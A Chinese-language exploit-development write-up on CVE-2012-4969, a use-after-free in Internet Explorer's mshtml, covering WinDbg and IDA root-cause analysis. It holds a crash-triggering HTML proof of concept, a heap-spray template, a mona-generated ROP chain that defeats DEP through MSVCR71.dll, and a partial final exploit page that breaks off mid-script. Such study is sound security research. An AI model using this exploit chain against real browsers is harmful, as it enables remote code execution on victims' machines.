IE UAF 漏洞(CVE-2012-4969)漏洞分析与利用
简介
首先这是一个IE的UAF的漏洞,由于IE 6至9版本中的mshtml.dll
中的CMshtmlEd::Exec
函数中存在释放后使用漏洞,可导致任意代码执行。
本文包含了分析与利用,包含了对象的申请,对象在何时释放,什么时候被占位等,在漏洞利用方面,metasploit生成的exp的heap Spray有点难看,就自己根据自己的经验写了exp
实验环境
Windows 7 Sp1 32位
IE 8
windbg
IDA
mona
漏洞分析
获得exp(poc)
搜了一下metasploit那里有,于是就直接生成exp咯
msf > search CVE-2012-4969
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/browser/ie_execcommand_uaf 2012-09-14 good MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability
msf > use exploit/windows/browser/ie_execcommand_uaf
msf exploit(ie_execcommand_uaf) > set target 5
target => 5
msf exploit(ie_execcommand_uaf) > set payload windows/messagebox
payload => windows/messagebox
msf exploit(ie_execcommand_uaf) > set TEXT "giantbranch"
TEXT => giantbranch
msf exploit(ie_execcommand_uaf) > set TITLE "giantbranch"
TITLE => giantbranch
msf exploit(ie_execcommand_uaf) > show options
Module options (exploit/windows/browser/ie_execcommand_uaf):
Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE false no Enable JavaScript obfuscation
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (windows/messagebox):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: , , seh, thread, process, none)
ICON NO yes Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION
TEXT giantbranch yes Messagebox Text (max 255 chars)
TITLE giantbranch yes Messagebox Title (max 255 chars)
Exploit target:
Id Name
-- ----
5 IE 8 on Windows 7
msf exploit(ie_execcommand_uaf) > exploit
[*] Exploit running as background job.
msf exploit(ie_execcommand_uaf) > [*] Using URL: http://0.0.0.0:8080/JO1jAksZMVhFYD2
[*] Local IP: http://192.168.253.164:8080/JO1jAksZMVhFYD2
[*] Server started.
接下来客户端访问看看,利用成功
由于是metasploit那边启动的服务器,exp调试起来不是太方便,而且kali占内存,我们用其他浏览器查看源码将exp下载下来,将heap spray的代码删除掉,就成了poc啦(下面给出poc)
文件1:exp.html
<html>
<body>
<script>
var arrr = new Array();
arrr[0] = window.document.createElement("img");
arrr[0]["src"] = "f";
</script>
<iframe src="./exp1.html"></iframe>
</body>
</html>
文件2:exp1.html
<HTML>
<script>
function funcB() {
document.execCommand("selectAll");
};
function funcA() {
document.write("B");
parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}
</script>
<body onload='funcB();' onselect='funcA()'>
<div contenteditable='true'>
a
</div>
</body>
</HTML>
根据崩溃信息简单分析
好,上windbg
0:013> g
ModLoad: 71640000 716f2000 C:\Windows\System32\jscript.dll
(34c.ca4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=00158f68 edx=0000000d esi=00000000 edi=0c0c0c08
eip=65a7c4bd esp=026bbd60 ebp=026bbd6c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMshtmlEd::Exec+0x134:
65a7c4bd 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=????????
可以看到edi的值就在我们的poc中exp1.html页面的funA的
parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
看看堆栈信息
我们看到mshtml!CEditRouter::ExecEditCommand
应该就是执行编辑命令出的问题
0:005> kv
ChildEBP RetAddr Args to Child
026bbd6c 65a7c63b 03e12198 65a02b44 0000001f mshtml!CMshtmlEd::Exec+0x134
026bbd9c 659f4249 65a02b44 0000001f 00000002 mshtml!CEditRouter::ExecEditCommand+0xd6
026bc158 65b5b040 0010df28 65a02b44 0000001f mshtml!CDoc::ExecHelper+0x3cd7
026bc178 65b9aad6 0010df28 65a02b44 0000001f mshtml!CDocument::Exec+0x24
026bc1a0 65b5cd0a 01afad20 0000001f 026b000a mshtml!CBase::execCommand+0x53
026bc1d8 65b93f8f 00000001 01afad20 00000000 mshtml!CDocument::execCommand+0x94
026bc250 65a5235c 0010df28 01afa9c0 0010d090 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x14e
026bc2c4 65a525d5 0010df28 00000429 00000001
......
我们先通过ida看看edi的来源,定位到那个CMshtmlEd::Exec函数,由于win7有ASLR,根据地址后四个字节即可定位到代码
首先是来源于[edi+8]
.text:74E7C4BA mov edi, [edi+8]
.text:74E7C4BD mov eax, [edi]
.text:74E7C4BF push edi
.text:74E7C4C0 call dword ptr [eax+8]
我们向上看,原来是CMshtmlEd对象的this指针
.text:74E7C433 mov edi, [ebp+this]
那么这里获取this指针后,获取偏移+8的位置,应该这个偏移+8的位置也是一个对象,跟着取这个对象的虚表到eax,跟着call [eax+8]调用第3个虚函数,假如对象释放后我们成功占位,那么就可以劫持控制流了(这时分析前的一个猜测,不一定全对)。
开始javascript和windbg联合调试
根据上面的简单分析,应该就是CMshtmlEd对象释放后重用导致的异常
首先我们开启页堆和用户态栈回溯(有利于获取堆更多的信息)
gflags.exe /i iexplore.exe +ust +hpa
那我们在CMshtmlEd对象的构造函数和析构函数上下断点,看看对象申请的地址和释放的地址,释放后的值跟这个edi是不是一样的就知道了,配合javascript的调试就知道什么javascript语句导致的对象申请和释放了(当然经验丰富的就知道document.write(“B”);会使对象释放,对parent.arrr[0].src的复制可能会导致占位)
我们可以通过x命令查看CMshtmlEd对象的函数(或者ida直接在函数列表搜索CMshtmlEd::
)
0:005> x mshtml!CmshtmlEd::*
65a7b484 mshtml!CMshtmlEd::Release = <no type information>
65a7bb7d mshtml!CMshtmlEd::QueryInterface = <no type information>
659b59fa mshtml!CMshtmlEd::Initialize = <no type information>
659d92e1 mshtml!CMshtmlEd::AddRef = <no type information>
659d928c mshtml!CMshtmlEd::`vftable' = <no type information>
65a7c35e mshtml!CMshtmlEd::IsDialogCommand = <no type information>
659cd3ea mshtml!CMshtmlEd::QueryStatus = <no type information>
65843fac mshtml!CMshtmlEd::GetSegmentList = <no type information>
65a7c42b mshtml!CMshtmlEd::Exec = <no type information>
659b5d4d mshtml!CMshtmlEd::CMshtmlEd = <no type information>
65a8396f mshtml!CMshtmlEd::~CMshtmlEd = <no type information>
我们这里有构造函数和析构函数,但是没有堆申请和堆释放的操作
原来是在下面这两个函数中
CMshtmlEd::Initialize
CMshtmlEd::Release
当然js也要下好断点哦
那我们在下面两个函数下断点,由于允许运行控件导致页面重绘,所以一开始会调用Release函数
0:015> bp mshtml!CMshtmlEd::Initialize
0:015> bp mshtml!CMshtmlEd::Release
0:015> g
Breakpoint 1 hit
eax=0b034f78 ebx=00000000 ecx=659d928c edx=00161078 esi=06e96f8c edi=0b038ff0
eip=65a7b484 esp=0446f930 ebp=0446f958 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CMshtmlEd::Release:
65a7b484 8bff mov edi,edi
0:005> g
跟着断在js这一行var arrr = new Array();
继续js单步就到达了
function funcB() {
document.execCommand("selectAll");
};
继续,发现执行完document.execCommand("selectAll");
,windbg就断下来了,断在mshtml!CMshtmlEd::Initialize
单步到HeapAlloc
的下一句,就看到申请返回地址是09f8afc0
大小是0x40,!heap -p -a
查一下是mshtml!CSelectionServices对象,有种不好的预感
0:005> p
eax=00000000 ebx=04c6ff20 ecx=07c9ef30 edx=00000000 esi=0b668f78 edi=0b668f88
eip=659b5a20 esp=0446bb88 ebp=0446bba8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CMshtmlEd::Initialize+0x26:
659b5a20 ff15c4128265 call dword ptr [mshtml!_imp__HeapAlloc (658212c4)] ds:0023:658212c4={ntdll!RtlAllocateHeap (76f2209d)}
0:005> p
eax=09f8afc0 ebx=04c6ff20 ecx=76f2349f edx=00000000 esi=0b668f78 edi=0b668f88
eip=659b5a26 esp=0446bb94 ebp=0446bba8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CMshtmlEd::Initialize+0x2c:
659b5a26 85c0 test eax,eax
继续,g命令,又申请了一个起始地址为07c2dfc0
的堆
继续g,这次进入了Release函数
65a7b484 8bff mov edi,edi
65a7b486 55 push ebp
65a7b487 8bec mov ebp,esp
65a7b489 56 push esi
65a7b48a 8b7508 mov esi,dword ptr [ebp+8]
65a7b48d ff4e04 dec dword ptr [esi+4]
65a7b490 8b4604 mov eax,dword ptr [esi+4]
65a7b493 0f84b6840000 je mshtml!CMshtmlEd::Release+0x11 (65a8394f)
65a7b499 5e pop esi
65a7b49a 5d pop ebp
65a7b49b c20400 ret 4
但是由于[esi+4]的值为3,减1后是2,不为0,所以没有执行HeapFree流程
继续g,回到js了,到了funcA
function funcA() {
document.write("B");
parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}
继续,document.write("B");
触发了mshtml!CMshtmlEd::Release
(因为整个document重绘了,写了个B)
上一次[esi+4]是2,这次-1,还不是0,不会跳去执行HeapFree
再次go,再一次进入mshtml!CMshtmlEd::Release
,
这次释放的地址是0b408f78
,是mshtml!CMshtmlEd
对象
那我们之前下的断点没看到这个地址的申请啊,说明下的断点是不对的
0:005> t
eax=00000000 ebx=04c6ff8c ecx=00000000 edx=04c6ff8c esi=0b408f78 edi=00000001
eip=65a8395d esp=0446800c ebp=0446801c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CMshtmlEd::Release+0x1f:
65a8395d ff15c0128265 call dword ptr [mshtml!_imp__HeapFree (658212c0)] ds:0023:658212c0={kernel32!HeapFree (766ff198)}
0:005> dd esp
0446800c 00160000 00000000 0b408f78 0b408f78
0446801c 04468034 65c7db12 0b408f78 04c6ff20
0446802c 00000000 04c6ffac 04468060 65c79f59
0446803c 0b408f78 044bcfd8 00000000 0000000f
0446804c 04c6ff20 0b408f78 044bcfd8 0b686fd8
0446805c 0b01efd8 04468068 65b0246a 04468084
0446806c 65a7a6c5 04c6ff20 0000000f 052b4f30
0446807c 00000000 06dc0680 044680a0 65a3285e
之后就发生另一个异常了,看堆栈应该是启用了js调试的原因
0:005> g
(590.874): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000018f ebx=00000000 ecx=0a3c8fd0 edx=65b8430c esi=00000000 edi=0000018f
eip=65bc12a0 esp=087bf808 ebp=087bf810 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CHtmInfo::ReadUnicodeSource+0x10:
65bc12a0 8b86ec000000 mov eax,dword ptr [esi+0ECh] ds:0023:000000ec=????????
0:013> kv
ChildEBP RetAddr Args to Child
087bf810 65bc0fc0 08e1efd8 00000000 087bf880 mshtml!CHtmInfo::ReadUnicodeSource+0x10
087bf828 65b8485f 08e1efd8 00000000 0000018f mshtml!CHtmCtx::ReadUnicodeSource+0x1a
087bf848 7131a260 0a3c8fd0 00000000 08e1efd8 mshtml!CScriptDebugDocument::CHost::GetDeferredText+0x2e
087bf894 7131a2eb 08e1ef48 087bf8e4 72c5ca66 pdm!CDebugDocumentHelper::EnsureParsed+0xd9
087bf8a0 72c5ca66 08e1ef48 087bf8d4 087bf8e0 pdm!CDebugDocumentHelper::GetSize+0x11
087bf8e4 714df731 0a347fb8 087bf920 087bf918 jsdebuggeride!CJSDbgSource::GetTextAndAttr+0x69 (FPO: [Non-Fpo])
......
我们看回CMshtmlEd的构造函数,发现第一句就将虚表给了a2指向的地址,那么就是说a2就是CMshtmlEd对象指针,那我们对构造函数进行解引用(按x),发现在CHTMLEditor::AddCommandTarget
he CHTMLEditor::GetCommandTarget
会申请内存,跟着调用CMshtmlEd的构造函数
int __fastcall CMshtmlEd::CMshtmlEd(int a1, int a2, int a3, int a4)
{
int v4; // edx@1
*(_DWORD *)a2 = &CMshtmlEd::`vftable';
CSpringLoader::CSpringLoader((CSpringLoader *)(a2 + 24), (struct CMshtmlEd *)a2);
*(_DWORD *)(v4 + 8) = a3;
*(_DWORD *)(v4 + 4) = 1;
*(_DWORD *)(v4 + 132) ^= (*(_DWORD *)(v4 + 132) ^ 2 * (a4 != 0)) & 2;
return v4;
}
我们在下面的函数下断点,对了这次也在Exec函数下断点吧,
bp mshtml!CHTMLEditor::AddCommandTarget
bp mshtml!CHTMLEditor::GetCommandTarget
bp mshtml!CMshtmlEd::Release
bp mshtml!CMshtmlEd::Exec
执行document.execCommand("selectAll");
触发了mshtml!CHTMLEditor::AddCommandTarget
,而这次HeapAlloc返回的地址是0d0f2f78
0:004> p
eax=07ef4fac ebx=07ef4f20 ecx=00000000 edx=0000096a esi=07ef4f20 edi=07ef4fac
eip=659b59b7 esp=044fb9d8 ebp=044fb9f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CHTMLEditor::AddCommandTarget+0x1a:
659b59b7 ff15c4128265 call dword ptr [mshtml!_imp__HeapAlloc (658212c4)] ds:0023:658212c4={ntdll!RtlAllocateHeap (76f2209d)}
0:004> p
eax=0d0f2f78 ebx=07ef4f20 ecx=76f2349f edx=00000000 esi=07ef4f20 edi=07ef4fac
eip=659b59bd esp=044fb9e4 ebp=044fb9f0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CHTMLEditor::AddCommandTarget+0x20:
659b59bd 33f6 xor esi,esi
而且确实是个CMshtmlEd对象
0:004> !heap -p -a 0d0f2f78
address 0d0f2f78 found in
_DPH_HEAP_ROOT @ 51000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
d041a5c: d0f2f78 88 - d0f2000 2000
mshtml!CMshtmlEd::`vftable'
......
继续,这时候到了mshtml!CHTMLEditor::GetCommandTarget
,但是没有进入if语句申请内存,调用CMshtmlEd构造函数的流程,而是到了else,那么就再次到了AddCommandTarget函数,其实是在这个函数申请而已,申请返回的地址是0cf54f78
,也是CMshtmlEd对象
之后到了Release函数,但是没释放,之后到了mshtml!CMshtmlEd::Exec
函数,跟着单步到下面,触发了funcA
65a7c4b3 e820000000 call mshtml!CCommand::Exec (65a7c4d8)
跟着执行完document.write("B");
,就跳到Release函数了,但第一次没有释放,第二次进入Release才释放
下面可以看到释放的0cf54f78
,这个地址就是GetCommandTarget
->AddCommandTarget
->HeapAlloc
为CMshtmlEd对象申请的地址,就是上面我们第二次捕获的值
0:004> p
eax=00000000 ebx=07ef4f8c ecx=00000000 edx=07ef4f8c esi=0cf54f78 edi=00000001
eip=65a8395d esp=044f7e54 ebp=044f7e64 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CMshtmlEd::Release+0x1f:
65a8395d ff15c0128265 call dword ptr [mshtml!_imp__HeapFree (658212c0)] ds:0023:658212c0={kernel32!HeapFree (766ff198)}
0:004> dd esp
044f7e54 00050000 00000000 0cf54f78 0cf54f78
044f7e64 044f7e7c 65c7db12 0cf54f78 07ef4f20
044f7e74 00000000 07ef4fac 044f7ea8 65c79f59
044f7e84 0cf54f78 0d158fd8 00000000 0000000f
044f7e94 07ef4f20 0cf54f78 0d158fd8 0d110fd8
044f7ea4 0b93efd8 044f7eb0 65b0246a 044f7ecc
044f7eb4 65a7a6c5 07ef4f20 0000000f 0b818f30
044f7ec4 00000000 06e61680 044f7ee8 65a3285e
那我们再g,由于js报错,我们知道原理就关闭js调试,重新调试,最终处理完就返回到65a7c4b8这里,65a7c4ba这里就触发异常了
65a7c4b3 e820000000 call mshtml!CCommand::Exec (65a7c4d8)
65a7c4b8 8bf0 mov esi,eax
65a7c4ba 8b7f08 mov edi,dword ptr [edi+8]
65a7c4bd 8b07 mov eax,dword ptr [edi]
65a7c4bf 57 push edi
65a7c4c0 ff5008 call dword ptr [eax+8]
由于是重新调试,下面edi地址可能不一样,我们可以看到,我们开了页堆,崩溃的地址变成了前一条指令 ,应该是开了页堆,导致不能占位成功
0:005> p
(e68.cf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0000001f ecx=0816ef30 edx=0000000d esi=00000000 edi=07f0ff78
eip=65a7c4ba esp=043cbaf8 ebp=043cbb04 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMshtmlEd::Exec+0x131:
65a7c4ba 8b7f08 mov edi,dword ptr [edi+8] ds:0023:07f0ff80=????????
漏洞利用
怎么占的位呢
我们关闭页堆,
我们看到edi是被成功占位了的,为什么对parent.arrr[0].src的赋值这里一长串的字符就可以占位呢?
0:005> p
eax=00000000 ebx=0000001f ecx=03f22998 edx=0000000d esi=00000000 edi=00239228
eip=6dffc4ba esp=0258bbe8 ebp=0258bbf4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CMshtmlEd::Exec+0x131:
6dffc4ba 8b7f08 mov edi,dword ptr [edi+8] ds:0023:00239230=0c0c0c08
0:005> dc edi
00239228 004d0059 0066006a 0c0c0c08 0044004b Y.M.j.f.....K.D.
00239238 0067006f 0073006a 00490069 006a0065 o.g.j.s.i.I.e.j.
00239248 006e0065 004e0067 006b0045 0050006f e.n.g.N.E.k.o.P.
00239258 006a0044 00690066 0044004a 00570049 D.j.f.i.J.D.I.W.
00239268 00410055 0064007a 00670066 006a0068 U.A.z.d.f.g.h.j.
00239278 00410041 00550075 00470046 00420047 A.A.u.U.F.G.G.B.
00239288 00490053 00500050 00550050 00460044 S.I.P.P.P.U.D.F.
00239298 004b004a 004f0053 004a0051 00480047 J.K.S.O.Q.J.G.H.
我们在Exec函数下断点,单步到下面,this指针赋值给edi,我们看到edi确实是CMshtmlEd对象
0:005> p
eax=00434720 ebx=6df82b44 ecx=6df5928c edx=00000000 esi=004246d8 edi=00000000
eip=6dffc433 esp=023cb8c8 ebp=023cb8d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CMshtmlEd::Exec+0x8:
6dffc433 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:023cb8dc=00434720
0:005> p
eax=00434720 ebx=6df82b44 ecx=6df5928c edx=00000000 esi=004246d8 edi=00434720
eip=6dffc436 esp=023cb8c8 ebp=023cb8d4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CMshtmlEd::Exec+0xb:
6dffc436 8b4708 mov eax,dword ptr [edi+8] ds:0023:00434728=00453100
0:005> !heap -p -a edi
address 00434720 found in
_HEAP @ 380000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
00434718 0013 0000 [00] 00434720 00088 - (busy)
mshtml!CMshtmlEd::`vftable'
我们执行到这条语句call mshtml!CCommand::Exec (6dffc4d8)
下一行,CMshtmlEd对象已经释放,而且我们字符串已经占位,跟我们设定的值一样的,注意这里是unicode
0:005> dc edi
00434720 004d0059 0066006a 0c0c0c08 0044004b Y.M.j.f.....K.D.
00434730 0067006f 0073006a 00490069 006a0065 o.g.j.s.i.I.e.j.
00434740 006e0065 004e0067 006b0045 0050006f e.n.g.N.E.k.o.P.
00434750 006a0044 00690066 0044004a 00570049 D.j.f.i.J.D.I.W.
00434760 00410055 0064007a 00670066 006a0068 U.A.z.d.f.g.h.j.
00434770 00410041 00550075 00470046 00420047 A.A.u.U.F.G.G.B.
00434780 00490053 00500050 00550050 00460044 S.I.P.P.P.U.D.F.
00434790 004b004a 004f0053 004a0051 00480047 J.K.S.O.Q.J.G.H.
我们来看看edi是一个怎么样的堆
虽然大小不是跟CMshtmlEd的0x88大小一样,但是这里是0x82,跟0x88比较接近,应该选刚释放出来的0x88比较合适吧
0:005> !heap -p -a edi
address 00434720 found in
_HEAP @ 380000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
00434718 0013 0000 [00] 00434720 00082 - (busy)
我们看看我们的字符串是不是0x82长度,直接在web控制台敲即可
>"YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH".length
<64
因为是unicode,要转化一下,还要加字符串结束符,unicode,占两个位置
>>> hex(64*2+ 2)
'0x82'
那我们在这个字符后面再加3个字符变成0x88大小试试,也是完美占位,
0:005> p
eax=00439648 ebx=0000001f ecx=00439648 edx=0000001f esi=00439648 edi=0048c200
eip=6dffc4b3 esp=0270b810 ebp=0270b82c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CMshtmlEd::Exec+0x123:
6dffc4b3 e820000000 call mshtml!CCommand::Exec (6dffc4d8)
0:005> p
eax=00000000 ebx=0000001f ecx=0046e480 edx=0000000d esi=00439648 edi=0048c200
eip=6dffc4b8 esp=0270b820 ebp=0270b82c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CMshtmlEd::Exec+0x128:
6dffc4b8 8bf0 mov esi,eax
0:005> !heap -p -a edi
address 0048c200 found in
_HEAP @ 390000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0048c1f8 0012 0000 [00] 0048c200 00088 - (busy)
0:005> dc edi
0048c200 004d0059 0066006a 0c0c0c08 0044004b Y.M.j.f.....K.D.
0048c210 0067006f 0073006a 00490069 006a0065 o.g.j.s.i.I.e.j.
0048c220 006e0065 004e0067 006b0045 0050006f e.n.g.N.E.k.o.P.
0048c230 006a0044 00690066 0044004a 00570049 D.j.f.i.J.D.I.W.
0048c240 00410055 0064007a 00670066 006a0068 U.A.z.d.f.g.h.j.
0048c250 00410041 00550075 00470046 00420047 A.A.u.U.F.G.G.B.
0048c260 00490053 00500050 00550050 00460044 S.I.P.P.P.U.D.F.
0048c270 004b004a 004f0053 004a0051 00480047 J.K.S.O.Q.J.G.H
Heap Spray
由于msf生成的利用代码太长了,看开头是使用了JavaScript Heap Exploitation library,代码不太好理解,于是自己就尝试写自己的利用代码
那接下来只要heap spray就好咯
IE8的Heap Spray一般如下:
nops=unescape('%u0c0c%u0c0c');
while(nops.length < 0x100000/2){
nops += nops
}
// 减去堆头,长度以及最后的两个空字符
nops = nops.substring(0, 0x100000/2 - 32/2 - 4/2 - 2/2 - shellcode.length);
var tmp = nops + shellcode;
slide=new Array();
for( i=0; i<200; i++) {
slide[i]= tmp.substring(0, tmp.length);
}
我们调试看看
0:005> p
eax=0c0c0c0c ebx=0000001f ecx=004576b0 edx=0000000d esi=00000000 edi=0c0c0c08
eip=6dffc4c0 esp=0226bc24 ebp=0226bc34 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CMshtmlEd::Exec+0x137:
6dffc4c0 ff5008 call dword ptr [eax+8] ds:0023:0c0c0c14=0c0c0c0c
经过heap Spray,我们只要精确控制0c0c0c14的值即可,由于开了DEP,在这里进行栈翻转,再进行rop,关闭DEP再执行shellcode即可
那么我们接下来要精确控制0c0c0c0c附近的数据的排布
我们看看0c0c0c0c所在堆的基址是什么
0:005> !heap -p -a 0c0c0c0c
address 0c0c0c0c found in
_HEAP @ 390000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c0c0018 20016 0000 [00] 0c0c0020 1000b0 - (busy VirtualAlloc)
因为堆块的对齐粒度是0x1000,而且unicode是两字节编码的,还要减2个空字符,所以最终我们的ROP的首地址放在0x5f4偏移处就行了,估计这个得按实际修改
>>> hex((0x0c0c0c0c-0x0c0c0020)%0x1000/2 - 2)
'0x5f4'
我们看看,我用我的英文名定位到0x0c0c0c0c定位成功
0:005> dc 0c0c0c08
0c0c0c08 41414141 6e616967 61726274 9068636e AAAAgiantbranch.
0c0c0c18 90909090 90909090 90909090 90909090 ................
0c0c0c28 90909090 90909090 90909090 90909090 ................
0c0c0c38 90909090 90909090 90909090 90909090 ................
0c0c0c48 90909090 90909090 90909090 90909090 ................
0c0c0c58 90909090 90909090 90909090 90909090 ................
0c0c0c68 90909090 90909090 90909090 90909090 ................
0c0c0c78 90909090 90909090 90909090 90909090 ................
那我们将0c0c0c08的地址写入0c0c0c0c,接下来call dword ptr [eax+8]
就会call 0c0c0c14了
0c0c0c14地址为stack pivot —–> xchg eax,esp ; retn
而stack pivot的机器码是 94 c3
(还有我的系统装了jdk1.6,有个没有开启ASLR的模块MSVCR71.dll)
!py mona find -s "\x94\xc3" -m MSVCR71
用第二个0x7c348b05吧
0x7c3837d5 | 0x7c3837d5 : \x94\xc3 | {PAGE_READONLY} [MSVCR71.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.3052.4 (C:\Program Files\Java\jre6\bin\MSVCR71.dll)
0x7c348b05 | 0x7c348b05 : \x94\xc3 | {PAGE_EXECUTE_READ} [MSVCR71.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v7.10.3052.4 (C:\Program Files\Java\jre6\bin\MSVCR71.dll)
跟着用找到关闭DEP的rop,注意倒数第3个的地址要+0x11,调试过的就很清楚了(其实这段rop的功能是:开启从esp为起始,大小为0x201那段内存的执行权限)
//rop chain generated with mona.py - www.corelan.be
rop_gadgets = unescape(
"%u6cc8%u7c36" + // 0x7c366cc8 : ,# POP EBP # RETN [MSVCR71.dll]
"%u6cc8%u7c36" + // 0x7c366cc8 : ,# skip 4 bytes [MSVCR71.dll]
"%u2b26%u7c37" + // 0x7c372b26 : ,# POP EBX # RETN [MSVCR71.dll]
"%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx
"%u5249%u7c34" + // 0x7c345249 : ,# POP EDX # RETN [MSVCR71.dll]
"%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx
"%uf742%u7c34" + // 0x7c34f742 : ,# POP ECX # RETN [MSVCR71.dll]
"%uf59b%u7c38" + // 0x7c38f59b : ,# &Writable location [MSVCR71.dll]
"%u2766%u7c34" + // 0x7c342766 : ,# POP EDI # RETN [MSVCR71.dll]
"%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]
"%u600b%u7c36" + // 0x7c36600b : ,# POP ESI # RETN [MSVCR71.dll]
"%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]
"%u678f%u7c37" + // 0x7c37678f : ,# POP EAX # RETN [MSVCR71.dll]
"%ua151%u7c37" + // 0x7c37a151 : ,# ptr to &VirtualProtect() +0x11 [IAT MSVCR71.dll]
"%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]
"%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]
"");
生成Shellcode
msfvenom -a x86 -e -e x86/shikata_ga_nai --platform windows -p windows/messagebox TEXT="giantbranch" TITLE="giantbranch" -f js_le
最终堆中的0x1000的大小构造如下:
Padding + "\u0c0c\u0c0c" + ret + pop_ret + stack_pivot + rop_gadgets + Shellcode + NopSlide
最终exp:
<html>
<body>
<script>
var arrr = new Array();
arrr[0] = window.document.createElement("img");
arrr[0]["src"] = "f";
function alloc(bytes, mystr) {
while (mystr.length<bytes) mystr += mystr;
// 6 = 4 + 2
return mystr.substr(0, (bytes-6)/2);
}
block_size = 0x1000;
padding_size = 0x5F2; //offset to 0x0c0c0c0c inside our 0x1000 hex block
call0c = unescape('%u0c0c%u0c0c');
Padding = '';
NopSlide = '';
NopSlide1 = '';
NopSlide2 = ''
//padding
for (p = 0; p < padding_size; p++){
Padding += unescape('%u4141');
}
for (c = 0; c < block_size; c++){
NopSlide += unescape('%u9090');
}
// giantbranch
//var Shellcode = "\u6967\u6e61\u6274\u6172\u636e\u9068";
